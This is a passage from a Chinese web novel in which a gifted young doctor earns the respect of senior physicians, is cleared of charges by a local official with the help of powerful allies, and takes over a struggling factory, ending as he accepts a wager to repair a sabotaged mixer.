想通此节，孙思源深吸一口气，在众人再次震惊的注视下，做出了一个决定。 他走到林卫国面前，郑重地整了整身上的中山装，挺直腰背。然后，对着这个年纪比他孙子还小的少年，深深弯下腰，鞠了一躬。 这是标准的前辈对后辈、甚至学生对老师才会行的大礼！ “孙教授！使不得！”院长和刘医生大惊，急忙上前要扶。 孙思源摆摆手，示意他们别动。他直起身，脸上再无愤怒尴尬，只剩由衷的敬佩和信服。 “林大夫。是我孙思源有眼不识泰山！” 孙思源看着林卫国，眼中再无轻视。 第18章 胸有乾坤！ “林大夫，您今后但凡有用得着我的地方，只管开口！” 孙思源的声音铿锵有力，掷地有声。 “孙老，您言重了。” 林卫国语气平和：“医道，归根结底是为了救人，哪有什么输赢高下。” “我只想请您记住这场‘赌约’。” “或许有那么一天，我会拿出些……在世人看来离经叛道的医术，甚至远超时代的药物。” “那时，我需要的，正是如您这般德高望重的声音，为我正名，替我扫平前行路上的荆棘。” 没有遮掩，没有矫饰。林卫国要的，从来不是一时逞口舌之快，更不是踩着他人的快意。他眼中燃着的是更长远的火苗——为那个深藏于胸的“王国”，提前铺就一条通途。一位能在省级，乃至更高层面发声的权威盟友，才是他此刻落下的关键一子！ 一子落，胸有乾坤！ 孙思源听完，心头掀起的何止是惊涛？简直是翻天覆地的浪潮！他原以为林卫国只是天赋异禀，却不曾想，这少年的胸襟格局竟已如此深远！这不仅是个天才，更是个胸有乾坤的布局者！ “好！”孙思源深深吸了口气，看向林卫国的目光已迥然不同，“林大夫今日之情，孙某铭记五内。他日但有驱使，万死不辞！” 这场牵动整个医院的较量，尘埃落定。 林卫国婉拒了赵胜热情的马车相送，也推掉了院长的饭局。他宽慰好父母，便独自离开，走向昨日约好的巷口。 没等多久，一个身影从街角猫着腰小跑过来，正是山耗子。昨日那股子嚣张戾气荡然无存，此刻只剩下遮掩不住的恭敬和骨子里的畏惧。 “爷！”山耗子上来就是一个深鞠躬，双手献上一个用干净粗布仔细裹好的小包裹，几株沾着新鲜湿泥的红线草露了出来。“都按您的吩咐，妥了！” 接着，他又小心翼翼从怀里掏出一个沉甸甸的信封，语气带着压不住的激动：“爷，那熊胆和上好的熊掌，我按您教的词儿，托关系卖给了‘红星饭店’那个掌眼的大厨！他一听是山里头现取的上等货，当即拍板给了这个数——五百块！现钱，一分没短！”他声音都有些发颤。 五百块！ 这个数字沉甸甸地落在林卫国手心。他太清楚了，当下普通工人一个月辛苦下来，不过能挣三四十元。这笔钱，对一个被束缚在土地上的农家而言，无异于命运齿轮转动的第一声响！ 攥着这笔分量十足的钱，林卫国心头那团烧了很久的火苗，猛地蹿起寸高的火舌。 买院子！在县城里立下自己的根基！把爹娘和小妹都接出来，远远躲开村里那些乌七八糟的算计和暗藏的冷箭！ 他正盘算着走向哪家中介，一个清脆的声音自身后传来： “林卫国！等等！” 回头，苏晚夏脸颊微红，小跑着追了上来。那双明亮的眼睛里，跳跃着病房里绝不曾见过的光，探究、敬佩……还有一丝连她自己都未曾觉察的、被悄然搅动的心绪。 “给。” 她递来一张折好的纸条：“院长刚和几个领导商量过，正式聘你做特约顾问，待遇跟刘主任一样。” “还有……我爷爷听说了你的事……想见见你。” 林卫国稍作沉吟，便推掉了医院的聘请。 他不能被任何地方的条条框框拴住手脚。 但他还是点了点头，答应先去见一见那位传说中的苏老爷子。 苏晚夏领着他拐过几道喧闹的街市，钻进一条更显岁月的老街。 一抬头，一块黑底金漆的老匾高悬：济世堂。 刚一推门，一股药香便扑面而来。 柜台后坐着一位须发如雪的老者，正是苏晚夏的爷爷苏明诚。 苏老爷子听完孙女的描述，他心里只泛疑云。 一个毛头小子，能有什么起死回生的本事？ 林卫国走进门，苏明诚眼皮都没抬一下，依旧沉浸在他那壶茶的世界里。片刻，他将紫砂壶往小几上轻轻一搁，站起身，眼皮这才抬了抬，扫了林卫国一眼，嘴里只淡淡飘出三个字： “来了？跟我来。” 没有寒暄，没有客套，苏明诚直接领着林卫国走向里屋。这里不设诊床药柜，唯有中央一张厚重宽大的八仙桌。桌上放着一张黄梨木的老棋盘——空荡得诡异，上面没有一颗黑白子，只有三册微微泛黄的病历档案，像等待点兵的将帅一般，静静排开。 苏老爷子伸出手指，枯瘦却异常沉稳，点向那三份病历： “小子，”他声音不高，却带着一种穿透岁月的力量，“小丫头片子把你吹得天上少有地上无双。老头子我就这三盘‘无棋之局’，你……且来解解？” “治好一个垂死病人，或许有运气成分。但医术的根本，在于‘理’和‘法’，在于辨证施治。这三份，是我行医数十年遇到最棘手的疑难病例。今天，你若能当面说出这三份病历的病症病理，并点评我当年的方子，说得通通透透，我就承认你有真本事。” 这已不仅仅是治病，而是在考校一名中医最核心的医理根基！ 苏晚夏在一旁紧张得手心冒汗，没想到爷爷竟如此“刁难”。 林卫国却神色自若。他走到桌前，拿起第一份病历扫了几眼，放下道： “气虚血瘀，兼有湿热下注。方子用补阳还五汤加减，对症。不过……” 他话锋一转： “依我看，这位病人的病情，每日午后申时必定加重，夜里必有盗汗。老先生方子虽对，但若将其中‘白术’再加三钱，加强益气健脾之力，见效至少能快上三分。” 苏明诚半闭的眼睛猛地睁开，精光一闪！林卫国说的症状分毫不差，连时间都精确无误！而他事后复盘，也确觉当年白术用量稍显保守！ 他不动声色示意林卫国继续。 林卫国拿起第二份病历，看得稍久些。看完却出人意料地摇了摇头： “老先生，恕我直言，您这个，断错了。” 第19章 我们答应！都答应！ 苏晚夏的心瞬间提到了嗓子眼！ 林卫国无视苏明诚沉下去的脸色，继续说： “病人头晕目眩，四肢麻木，并非您诊断的‘肝风内动’。他病根在脑，不在肝。此乃‘髓海空虚’之症，是精髓不足，无法上充于脑所致。您的方子以平肝熄风为主，看似暂时缓解症状，实则南辕北辙，耽误了根治的最佳时机。” 苏明诚的呼吸骤然急促！这是他从医生涯少数未能根治的案例，病人最终留下病根，是他一大遗憾。无数次推演都找不到问题所在，竟被这少年一语道破！ 林卫国没有停顿，拿起第三份病历，看得最快。看完后，他直接放下病历，抬头迎向苏明诚的目光，问了一个看似无关的问题： “这个病人，是个铁匠吧？” 轰！ 苏明诚大惊失色，猛地从椅子上站起，死死盯着林卫国，眼中充满骇然！病历从未提及病人身份，他如何得知？！ 林卫国平静回答： “他常年咳嗽，肺中有疾，但根子不在肺腑本身。在他常年吸入炉灰火星，灼伤气管，耗损津液。此乃外因入体，日积月累。若不让他换个营生，脱离那个环境，任何灵丹妙药都只是扬汤止沸，白费力气。” 三份病历， 其一，锦上添花！ 其二，拨乱反正！ 其三，洞察根源！ 层层递进，一浪高过一浪！ 苏明诚彻底被镇住了！他看着眼前神情淡然的少年，目光从审视、怀疑，变为惊骇，最后竟是如同寻觅一生终得知音般的狂喜与激动！ 他完全明白了！这少年绝不是靠运气或猛药！他拥有的是一个完整、严密、甚至远超自己认知的恐怖医学体系！ “好！好！好！” 苏明诚突然仰天大笑，笑声洪亮畅快，“长江后浪推前浪，世上新人换旧人啊！小友……不，林大夫！老夫……服了！彻彻底底地服了！” 药堂内气氛融融，苏明诚激动地紧握林卫国的手，大有要彻夜长谈、倾尽毕生疑难请教之意。 就在此刻！ 药堂门帘被粗暴地一把掀开！ 林卫国的二叔林长富和他游手好闲的儿子林二牛，脸色惨白，满头大汗，狼狈不堪地冲了进来！ 两人一眼看见林卫国，如同见到救命稻草，“噗通”跪倒在他面前！ 林长富死死抱住林卫国小腿，哭天抢地地喊道： “卫国！我的好侄子！求求你看在亲叔侄份上，救救二牛的命啊！” 林长富父子破门而入，那声撕心裂肺的哭喊瞬间冻结了济世堂的祥和。 苏明诚、苏晚夏和林卫国都愣住了。 谁都没想到，这对不久前还恨不得置林卫国于死地、让他身败名裂的叔侄，此刻竟以如此屈辱的姿态跪倒在他面前。 “卫国！我的好侄子啊！”林长富涕泪横流，连哭带嚎地讲述了缘由。 原来林二牛在林卫国手上接连吃亏，回家又被林长富指着鼻子骂废物，憋了一肚子火去镇上酒馆喝闷酒。 几杯下肚，他同邻桌混混起了冲突。为逞能证明自己酒量好，他在对方起哄下，竟错把工业酒精当烈酒灌下一满碗！ 等被送医时，他已然视线模糊。医生诊断是甲醇中毒，毒素伤了眼底和中枢神经，直接下了病危通知：院方无力回天，人随时会没命。 林长富走投无路，才想起这个被自己百般嫌弃的“神医”侄子，厚着脸皮来跪地求救。 听完这番因果，苏晚夏紧蹙秀眉，绝美的脸上满是毫不掩饰的厌恶。这种自作自受、还三番两次想害恩人的小人，她多看一眼都嫌脏。 苏明诚则捋着胡须，浑浊老眼闪过精光。他颇有兴趣地看着“忘年交”林卫国，好奇这位行事总出人意表的小友，要如何应对这“以德报怨”的经典场面。 药堂外的动静引来街坊围观。得知林长富父子的来意，个个都露出看好戏的神情。林卫国会如何收拾这对前倨后恭的叔侄？ 在所有人看来，林卫国完全没有救他们的理由。能不落井下石，已算天大的仁慈。 林卫国盯着地上那两个涕泪横流、浸湿了自己裤脚的亲人，沉默良久。眼神深邃冰冷，难辨喜怒。 林长富的心一点点沉入谷底，几近绝望时，林卫国终于开口，声音不带一丝温度。 “医者仁心，我可以救他。” 林长富狂喜，外围人群一片哗然。 未及众人反应，林卫国的下一句话，瞬间冻僵了林长富脸上的笑容。 “但，我的规矩，你们得懂。” 他没提钱，缓缓竖起三根手指。 “你们二房犯我大房三宗罪。今日，就当着苏老和街坊的面，一笔笔清算！” 他竖起第一根手指：“第一罪，污蔑之罪！我用祖传医术救我爹，你们当众污我‘搞封建迷信’、‘谋害亲父’，毁我名声，辱我家人！条件一：等我爹伤愈，你们父子必须在本大队摆三桌酒，挨家挨户敬酒赔罪！亲口承认诬陷，还我全家清白！” 竖起第二根手指，眼神更冷：“第二罪，不义之罪！我爹本可静养，是你们一再挑衅，逼他带伤上山，险丧性命！条件二：我爹伤病的所有治疗调养费用，分毫由你们二房承担！少一个子，我让他此生永堕黑暗！” 最后竖起第三指，语气凛冽如刀：“第三罪，不敬之罪！你二房屡次不敬，处处算计！条件三：从今日起，你二房所有人，村中见我大房任何一人——我、我爹娘、我妹——必须绕道！若再有半分不敬算计，我林卫国保证，下回大罗神仙也救不了你们！” 三条罪状，一条狠过一条，句句诛心！ 每一条都似千斤重锤，砸在林长富父子脆弱的自尊上。 当众摆酒，磕头认罪！倾家荡产，赔付药费！低头绕道！ 这比杀了他们更难受！ 可在林二牛悬于一线的性命前，他们别无选择，只能重重磕头哭喊： “我们答应！都答应！” 看到这一幕，围观的街坊们非但不觉林卫国咄咄逼人，反而爆发出阵阵真心喝彩！ 第20章 跳梁小丑 林卫国出手，只用了几根银针家一碗催吐汤药，就真的把林二牛就回来了。 事情一结束，他便回了村里。 林长富父子俩摆酒赔罪，之前泼向林卫国的脏水，这次被彻底洗干净了。 如此一来，林卫国算是在村里站稳了脚跟，而林长富一家，再也不敢招惹他。 没了后顾之忧，林卫国就开始盘算后边儿的事了。 现在手里有了五百块钱，应该给家里修修房子，整整院子。 等父亲的伤好利索了，再把爹娘和妹妹都接去县城，彻底离开这个村子。 事情本应平稳进行的，可就在林家搬家的头一天晚上，又出事了。 那时林卫国正坐院子里想事呢，老猎户李大山就直接推门进来了，一开口就吓了他一跳。 “卫国，出事了！” 李大山看起来有些紧张：“你还记得那个被你顶回去的公社干部不？” “怎么了？” 那人林卫国自然记得，却不知道出了什么事。 “他又回来了！”林大山赶忙道：“这次带着农技站的站长，还有几个穿制服的！” “我看他们那样子，就是冲你来的，现在都去大队部了！” “卫国，你可要当心啊！” 听到这话，林卫国心中微动，却没说什么。 第二天一早，村头的大喇叭就响了，让全村老少都去打谷场开会。 林卫国自然也去了，面对明显冲他来的危机，他从来都不会躲。 他到的时候，打谷场已坐满了人，村儿里的男女老少都在。 打谷场正中搭了一个台子，公社干部田壮此时就站在台子上。 他身边还坐着个中年男人，这人梳了个大背头，肚子微微隆起，一副老干部的模样。 这人就是农技站的站长马建国。 之前田壮汇报的时候，自是一通添油加醋，那话直接把马建国惹毛了。 他倒是要看看这个穷山沟里的，到底是谁敢理直气壮的顶撞公务人员，还敢私自处理国家财产。 他今天来，就是来杀鸡儆猴的，的确也是冲林卫国来的。 田壮开口做了简短的发言，给所有村民介绍了马建国这个领导，然后就退下去了。 马建国清了清嗓子，官腔十足的开口。 “经查证，村民林卫国，无视国家法令，私自处理国家财产！利用封建迷信的所谓土医术四处行骗，蛊惑群众！性质非常恶劣，影响极其败坏！” “现在我代表县农技站宣布决定！” “没收林卫国的全部非法所得，包括熊皮、熊骨等！” “还有，主犯林卫国，要带回县里严肃审查！” 话音一落，所有人都蒙了。 台下死静一片。 马建国板着脸站在高处，底下村民谁还敢出声？没人替林卫国说一个字。 人群里，林长富和他儿子互相瞧瞧，嘴角歪了歪，压不住那股子看热闹的得意。他俩心里门儿清，林卫国这下真踢到铁板了！惹了公家人，能有好果子吃？ 孙秀娥和林招娣刚得信跑来，急得不行。俩人直直站着，脸白得吓人，死死攥着手，浑身都在抖，一点法子没有。 眼看场面绷得像上了弦的弓，马建国就要挥手抄家的当口儿—— 人群后头，一个声音稳稳传过来，不紧不慢： “劳驾，让让。” 村民们一激灵回神，下意识往两边退，挤出条道。林卫国推着他那辆破旧的大杠自行车，一步步走出来，脸上丁点慌乱都瞧不见。甚至走到几个熟悉的叔伯跟前，他还咧了咧嘴角，算打了招呼。 他走到矮矮的土台下，站定，猛地抬起头，那双眼睛直直戳向台上的马建国。眯了眯眼。 马建国见正主来了，官威更是摆足，厉声质问：“你就是林卫国？好大胆子！见了国家干部还敢散漫！我问你，私藏公家财产，利用迷信行骗，知不知罪？！” 面对劈头盖脸的责问，林卫国眼皮都没抬一下。 他反而向前一步，朗声反问： “马站长？我也请教几个问题。第一，说我猎杀保护动物，证据呢？是我认了，还是谁看见了？第二，说我搞迷信，那是我治死了人，还是有家属来告状了？” “如今国家讲事实、讲法律！不是您这位大站长拍脑袋就能定罪的吧？” 这番话有理有据，不卑不亢，瞬间将了马建国一军！ 马建国被噎得脸色铁青，没料到这乡下小子嘴皮子如此利索。众目睽睽下他下不来台，恼羞成怒：“好小子！死到临头还敢嘴硬？告诉你，在这红旗大队，我马建国就是规矩！” 他猛一挥手，对身后的田壮等人喝道： “还愣着干什么？把这刁民给我抓起来！” 田壮几个如狼似虎就要扑下时—— “嗡——呜——” 村口方向突然传来巨大的引擎轰鸣！ 紧接着，一辆村民们从未见过的绿色北京吉普，卷着滚滚烟尘，霸道地冲进村子。在众人震惊的注视下，它一个漂亮甩尾急刹，稳稳停在打谷场中央！ 车门“砰”地打开。 县药材收购站科长赵胜利第一个跳下来。 接着是穿长衫、仙风道骨的老中医苏明诚。 最后，连县医院那位大腹便便的院长也亲自下了车！ 三位在县城跺跺脚地皮都要颤的大人物，竟同时出现在这穷山沟！ 赵胜利一眼看到台上马建国和被围住的林卫国，脸上笑容瞬间消失。他几步冲到台前，指着马建国鼻子就骂： “马建国！好大的官威啊！我儿子的救命恩人，啥时候成了你嘴里的罪犯？！” 马建国见到赵胜利、苏明诚，特别是县医院院长竟一齐出现，还如此维护林卫国，当场傻眼！ 他区区一个农技站长，在县医院院长、收购站科长这些实权人物面前，根本不够看！更别提连县太爷都礼让三分的苏老先生！ 这……这到底怎么回事？这穷山沟小子，怎么会惊动这么多“大人物”亲自来撑腰？！ 林卫国只是平静地注视着台上彻底懵掉的马建国，眼神淡漠，仿佛在看一个上蹿下跳、愚蠢可笑的跳梁小丑。 他知道，真正的较量，现在才开始。 【亲爱的读者，如果认为内容可以，记得加入书架哦，方便下次阅读~】 第21章 通天人物 村口打谷场，静得吓人。 农技站马德贵头开始冒汗。 他本想杀只“小鸡”给猴看，哪知道捅出这么大的祸事？ 赵胜利性子最急，直接开口道： “马站长，威风不小啊！” “我儿子差点没了，是林小神医拉回来的！你今天兴师动众来抓我的救命恩人？是要绝我老赵家的后路？还是看我这个采购科长碍眼？” 一句话，这事就彻底变了味！ 马德贵心一沉，赶紧挤出笑。 “赵科，您误会了……” 话没说完，县医院院长也缓缓开口。 “马站长，你说林卫国同志搞‘封建迷信’行医？这顶帽子，我们县医院可不敢戴。”院长顿了顿，话锋转利，“林卫国的医术，全医院有目共睹，正要作为重点案例上报市卫生局学习。” “他治好了省城专家都摇头的病人，铁板钉钉！你凭什么说他是‘迷信’？难道我们整家医院都在陪他胡闹？” 这顶大帽子压下来，马德贵腿肚子直转筋。 他一个管农业的，公然质疑县医院的诊断权威？传出去，还怎么在县里混？ 如果说前两位是刀子，那苏明诚老爷子接下来说的话，就是千斤重锤，要将他彻底砸进泥里！ 苏老爷子龙头拐杖重重一顿，上前一步，声如洪钟： “老夫苏明诚，行医五十载，在清河县尚有几分薄面！林小友医理精深，辨证入微，老夫都自愧弗如！” 他鹰隼般锐利的目光死死锁住马德贵： “你个管农技的，五谷都未必认全，也配妄论医术高低？滑天下之大稽！” 三连重击！ 一击狠过一击！ 马德贵被这组合拳打得晕头转向，冷汗浸透后背。此刻他再不明白自己被田壮当了枪使，这站长就算白当了！ 他脸色惨白，嘴唇哆嗦：“院、院长，苏老，赵科长……误会！都是误会……” 这时，一直沉默的林卫国才悠然开口。他看也不看马德贵，转身面对台下噤若寒蝉的乡亲，朗声道： “乡亲们！马站长说我私自猎熊是罪过。可大家想想，那熊瞎子死在哪儿？就在‘黑瞎子沟’！那是咱们进山砍柴、采药的必经之路！我爹是为民除害才被它重伤！我为救父自卫反击，打死它，何罪之有？” 他话锋一转，陡然拔高声音，充满讽刺： “照马站长的意思，以后山里的熊瞎子、野狼闯进村来伤人，我们是该大开家门，好酒好肉招待？还是等派人去县里通知您，等您慢悠悠赶来，开完会再决定打不打？” 句句在理，字字锥心！ 瞬间点爆了村民情绪！ “卫国说得对！那畜生就是祸害！打死除害！” “没错！要不是卫国爹，指不定谁家遭殃！” “等当官的来？黄花菜都凉了！” 群情激奋，舆论瞬间彻底倒向林卫国。 听着台下沸腾的声浪，马德贵心知大势已去！再纠缠下去，他自己都走不出这村子！ 保命要紧！他眼中狠色一闪，在众人惊愕中猛地转身，一巴掌狠狠扇在田壮脸上！ 啪！ 清脆的耳光声响彻全场！ 马德贵指着捂脸发懵的田壮，咆哮如雷： “混账东西！谁让你谎报军情、挑拨干群关系！你身为干部，不为民服务反搬弄是非！开除！立刻滚蛋！” 弃车保帅，又快又狠！ 在一片鄙夷目光中，马德贵再也待不住，带着人钻进吉普车，灰溜溜逃出林家村。 只留下瘫软在地、面如死灰的田壮，和躲在人后、瑟瑟发抖暗自庆幸的林长富父子。 经此一事，林卫国在村民心中的形象，瞬间从“有本事”的奇人，跃升为县城大人物都要亲自撑腰的“通天人物”！ 人群渐散。 赵胜利却把林卫国拉到一边，收起笑容，神色肃然： “卫国，今天我们几个老家伙在，能帮你压住马德贵。下次呢？来更大的官，我们还能及时赶到吗？” 他语重心长： “你空有通天本事，却无根基，就像水上浮萍，风一吹就散。你得有个‘名分’，有个‘单位’，才能在这世上站稳脚跟，让宵小不敢动你。” “我这儿有个想法，能让你一步到位。就怕……你不敢干！” 赵胜利的话让林卫国心头一跳。 他明白，正戏来了。 第二天，他婉拒了苏明诚老人留在济世堂指点的邀请，跟着赵胜利坐上回县城的吉普车。 这一次，车子没去药材站，也没去医院，径直开向一处破败的厂区。 这地方，是红星厂，集体所有。 赵胜利指着眼前死气沉沉的厂区，对林卫国道： “卫国，我托人问了，县里想找人承包。” “我说，你来接这担子！” 林卫国没吭声，跟着老赵往里走。 一圈转完，心更沉了，比想象还糟得多。 哪是工厂？活脱脱一个烂摊子！ 他们很快见到了挂名的厂长王建民，还有工会主席张固。 一听老赵想推林卫国这毛头小子当厂长，张固脸上立马挂上问号： “赵科长，讲笑呢？一个娃娃，懂什么生产？” 旁边几个工会干部立刻应和，话里话外都是不乐意。 林卫国看得明明白白。 想从这些人手里盘下厂子，难。 他不跟张固磨嘴皮子，这些人说了压根不算。 径直让赵胜利带他去了县工业科，找管事的。 科长办公室。 林卫国没废话： “领导，红星厂这包袱，我知道没人敢碰。今天，我接了！” “一分财政支持不要，一点政策倾斜不图。我立个军令状！” 他声音不大，字字硬气：“从接手当天开始算，三个月！厂子赚不了钱，月利润够不上一千块——我个人，掏五千！全填上窟窿！厂子，原样还回来！” 五千块！ 那年头，这数字能压死人！ 用五千块押一个破厂仨月前程，要命的赌！ 科长被惊住了，像被人突然掐住喉咙，张嘴瞪眼，半天吐不出一个字。 林卫国紧跟着抛出了他的条件。 “我要是干成了，厂子接下来十年归我管！人怎么用，生产怎么干，钱怎么分，我说了算！” 他这话说完，所有人都愣了。 第22章 你们自己选！ 虽说林卫国之前的保证让几人都心中欣慰，但他现在说的话，可就是有点要点火药桶的意思了。 这厂子可是集体所有的，国家的东西。 林卫国提出完全自主经营，这根本就是天方夜谭了。 办公室的所有人都沉默了，他们似乎在权衡其中的利弊。 红星厂的确是个大累赘，光靠国家的补贴基本已经活不下去了，他们迫切的想找人来填窟窿。 可完全自主经营，这却是违反政策的。 就在这时，办公室的门忽然被人推开。 门口站着孙思源！ 他显然得了风声，病号服都没换，硬是从医院赶过来了。 孙思源目光扫过僵持的三人，径直走到科长面前，连客套都省了： “同志，我是省中医院的孙思源。” 科长听见这名字，蹭地站起来，脸上挤出恭敬，“孙教授！” 孙思源点了下头，手指点向林卫国：“我在外边都听见了。小林这赌注，你们觉得是年轻人不知天高地厚，风险太大。” 他眼神像钉子一样，语气斩钉截铁： “今天，我孙思源这张老脸给他押上！” 孙教授一辈子的声名分量太重了，压碎了一切阻碍。主管科长当场拍了板。 合同白纸黑字，墨迹未干。当着孙思源和医院院长的面，林卫国在那份沉甸甸的纸上签下了名字。 红星保健品厂的新厂长，从这一刻开始，姓林！ 第二天。 林卫国踏进红星厂大门，新官上任第一把火。他直接站在那片野草疯长的空地上，把厂里百十来号人全都喊了出来。第一场全厂职工大会，连个像样的地方都没有。 工人懒洋洋地晃出车间、宿舍，三三两两聚着交头接耳。台上那“新厂长”看着比自己孩子还小，众人眼神里满是怀疑、好奇和一丝嘲弄。 林卫国没一句开场白。 他在所有目光注视下，亲自搬来一架破木梯，爬上去，一把将锈迹大门上那块“红星保健品厂”的旧牌匾扯下，随手丢在地上。 接着，从赵胜利手里接过一块崭新的牌匾。 红底金字，龙飞凤舞刻着四个大字——卫国制药！ “从今往后，这厂子，姓林！”林卫国平静的声音透过老铁皮喇叭，传遍厂区。 他随即宣布三条新规，如同三颗炸弹，彻底引燃厂里的矛盾！ “第一！”林卫国道，“下月起，废除所有固定工资！收入改为‘底薪加计件，外加效益分红’！多劳多得，上不封顶！有本事，一月挣一百块、两百块，我照发！但偷奸耍滑、混吃等死的，对不住，只能拿饿不死的底薪！” “第二！”他声音冷硬，“成立质检部，定死标准！任何工序查出次品，所有次品当众销毁，相关工序所有人，扣罚当月全部奖金！” “第三！”林卫国目光扫过台下几个变了脸色的车间主任和干部，“所有干部，能上能下！从明天起，我亲自考核所有管理岗！能力不足、占着位置不干活的，一律给我下车间当工人！有能耐、有干劲的普通工人，随时可以提上来！” 话音未落，台下瞬间炸锅！ 工会主席张固刻板的脸涨成猪肝色。他第一个跳出来，指着林卫国煽动身旁工人： “都听听！这是人话吗？计件？分红？是资本家剥削工人的黑心肠！”他振臂高呼，“我们是国家主人翁，捧的是铁饭碗！凭什么让个毛头小子这么折腾？我提议，集体罢工！让这小子知道，厂子到底谁说了算！” 大部分习惯了“大锅饭”、干多干少都一样的老工人跟着起哄。他们怕改变，更怕砸了铁饭碗。 “对！罢工！抵制资本家！” “想我们多干活少拿钱？没门！” 面对群情激愤，林卫国不慌不忙，拍拍手。山耗子等人立刻抬上一个大木箱。 “稍安勿躁。”林卫国打开箱子，露出里面码放整齐的几十个白瓷瓶，“光说没用。批判我前，先看看带来的东西。” 箱里是他用医院简陋设备连夜赶制的新产品——“卫国烫伤膏”样品。 他当众演示。 先让人从仓库拿来积压多年、卖不出去的旧膏药。揭开那黑乎乎的狗皮膏药，粘性差不说，还散发着刺鼻怪味。 接着，他对台下喊：“哪位身上有烫伤擦伤的？上来试新药，我个人奖五块钱！” 一个在车间被开水烫了胳膊的工人将信将疑走上台。 林卫国亲自拧开瓷瓶，用木勺挑起一点乳白药膏，涂在红肿处。 “什么感觉？” 工人愣了下，随即惊喜道：“凉！凉飕飕的！舒服！刚才火辣辣的疼，现在一点不疼了！” 更神奇的是，在众人注视下，那片红肿肉眼可见地迅速消退！ 清凉舒适，红肿消散，与那臭烘烘的旧膏药天差地别！ 台下议论声渐渐小了。 林卫国趁热打铁：“大家看到了！仓库里堆的旧货，是垃圾，做再多也亏钱！我这新药膏的效果，有目共睹！” 他声音充满力量：“我保证！下月起，新药膏每卖一盒，我从利润拿出5%！放进全厂奖金池！只要你们保质保量生产，在我带领下，人均收入至少翻三倍！” “三倍收入！” “看得见摸得着的好药！” 这两锤子，狠狠砸在工人们心上。谁家不拖儿带女？谁不想多赚钱？谁不想让老婆孩子吃上肉？ 刚还跟着张固叫嚣的工人，动摇了。看张固的眼神，也带上了不善。 “三倍工资”的现实面前，张固的煽动苍白无力。 林卫国看着众人表情，知道火候已到，给出最后选择： “让大家一下子接受新规矩，难。这样，”他伸出三根手指，“我给三天时间考虑。” “三天后，愿意跟我林卫国、跟‘卫国制药’干的，去王厂长那儿重签合同。不愿意的，我不强留，按厂规，我个人出钱发足一个月遣散费，好聚好散。” 他目光扫过每一个人，声音平静却不容抗拒： “是抱着这半死不活的破碗等饿死，还是下定决心跟我换个金饭碗，今后大口吃肉？路，在你们自己脚下。” “你们自己选！” 第23章 两个小时的赌约 第二天，工厂好像没什么变化，一切都和之前一样。 但有些潜藏的危机已经开始涌动了。 林卫国的三天约定成了厂子中很多人的谈资，不过工人们大多都只是发发牢骚。 但张固却不一样。 他此时召集了几个技术骨干，正围在一个角落开小会呢。 “别听那林小子说的头头是道的，他懂什么呀！” 张固抽着烟，眉头微蹙，看着山前的几个老师傅：“咱厂子能生产，还不是靠老几位，他能耐什么？毛都没长齐呢。” 这话明显说进了几个老师傅的心坎里，几人都露出笑意。 几人中还有个年轻人，此人是厂子的技术骨干，叫李狗子。 李狗子不光有些技术，也是厂里的刺头，啥时厂子里有事，都少不了他的影子。 此时他听到张固的话，低声问道：“张哥，咱们就一直这么等着？” “这不是个事儿吧？” “呵，你是咋想的？”张固看了李狗子一眼，笑道：“你小子脑子活泛，又憋什么蔫屁呢？” “没什么。” 李狗子咧嘴一笑，挠挠头，啥也没说。 张固却笑了，又压低声音道：“不过你说的没错，干等着虽然对咱们有好处，但却不解恨。” “林小子从天而降，忽然就成了厂长，还和咱们说那些有的没的，咱就这么忍了？” “我是咽不下这口气。” 张固的确是有些蛊惑人心的手段的，这话一说出口，众人都觉得有点义愤填膺。 的确，他们原本躺的好好的，偏被林卫国弄起来干活，谁心里也不得劲。 “张哥，你说咋办吧。” 李狗子立刻道：“我都听你的。” 张固闻言点了点头，继续压低声音问道：“狗子，你一世负责厂里的搅拌机，那玩意不是总坏吗？” “对！”李狗子立刻点头：“每次坏了都是我修的，可麻烦了。” “那小子不是要生产新东西吗？”张固眯着眼睛：“那就让搅拌机趴窝，我看他还有什么招！” “到时搅拌机修不好，厂子没办法生产新东西，他还不是要来求咱们？” “是是！” 李狗子闻言，立刻眼前一亮：“那我现在就办去！” “咱们给你打掩护。” 边儿上的几个师傅也附和。 随即，在几个师傅的掩护下，李狗子很快就摸到了大型搅拌机前。 他用扳手弄松了几个螺栓，又往上面抹了一层油泥，这才转身走了。 …… 片刻之后，厂长办公室。 林卫国正在研究新药膏的生产流程，办公室的门就直接被推开了。 “厂长！出事了！” 林卫国回头，看到进来的是小王，不由的眉头一皱，问道：“怎么了？” “咱们厂的搅拌机坏了！” 小王焦急道：“张哥和李狗子他们正在修呢，怕是一时半会都修不好啊！” “咋办啊厂长！” 听到这话，林卫国心中微动。 他没有任何表示，只是放下笔，轻声道：“走，去看看。” 说完，抬脚就往车间走。 林卫国和小王刚到车间，就看到张固和李狗子带着几个人正围着搅拌机忙活呢。 看那样子，还真是有点儿着急。 看到林卫国过来，立刻迎了上去，口中道：“林厂长，你看这事儿闹的，谁也没想到的。” “这机器老了，之前就经常出毛病，没想到能在关键时候掉链子啊！” “您那新药膏……可咋办？” 旁边的李狗子也看了林卫国一眼，眼中甚至带着几分嘲弄，但却没开口嘲讽。 林卫国没理张固的聒噪。 他只是绕着巨大机器走了一圈，停下脚步，直视李狗子，平静地问： “你确定，这机器彻底报废了，修不好？” 李狗子被他看得有些发毛，但想到手脚做得天衣无缝，硬着头皮梗起脖子： “那当然！不信你问问大家，谁不知道这机器我最熟！” “好！” 林卫国的声音陡然拔高，如同惊雷炸响空旷车间！ “那我们就立个赌约！” 他手指直直戳向李狗子，冰冷刺骨： “我，现在，就在这里，亲手修！如果两小时内修好，能正常开机。你，李狗子，立刻卷铺盖滚出卫国制药厂！” 他手指一转，指向脸色大变的张固： “而你，张固，当着全厂一百多号人，鞠躬道歉！亲口承认你今天是蓄意带头阻碍生产，破坏工厂财产！” 最后，他环视全场惊呆的工人，抛下重弹： “但如果，两小时内我修不好！我林卫国当众宣布，之前所有新规矩作废！工厂一切照旧！” 他加重语气，一字一顿吼道： “而且！这个月所有人工资，我自掏腰包——发双倍！” “双倍工资！” 这四个字如同巨石砸进湖面！整个车间的工人瞬间沸腾了！ 无论输赢，他们都稳赚不亏！ 张固和李狗子对视一眼，彼此眼中都压不住贪婪和自信。他们认定林卫国必输无疑！一个毛头小子，怎么可能修好被动过手脚的机器？ “好！” 张固生怕对方反悔，立刻大笑，“林厂长有魄力！一言为定！全厂兄弟做个见证！” 林卫国不再废话。 他走到墙边，提起满是油污的工具箱，在一百多双眼睛注视下，一步步，走向那台被判了“死刑”的机器。 “计时开始！” 两个小时的赌约正式开始。 车间瞬间分成三拨人。 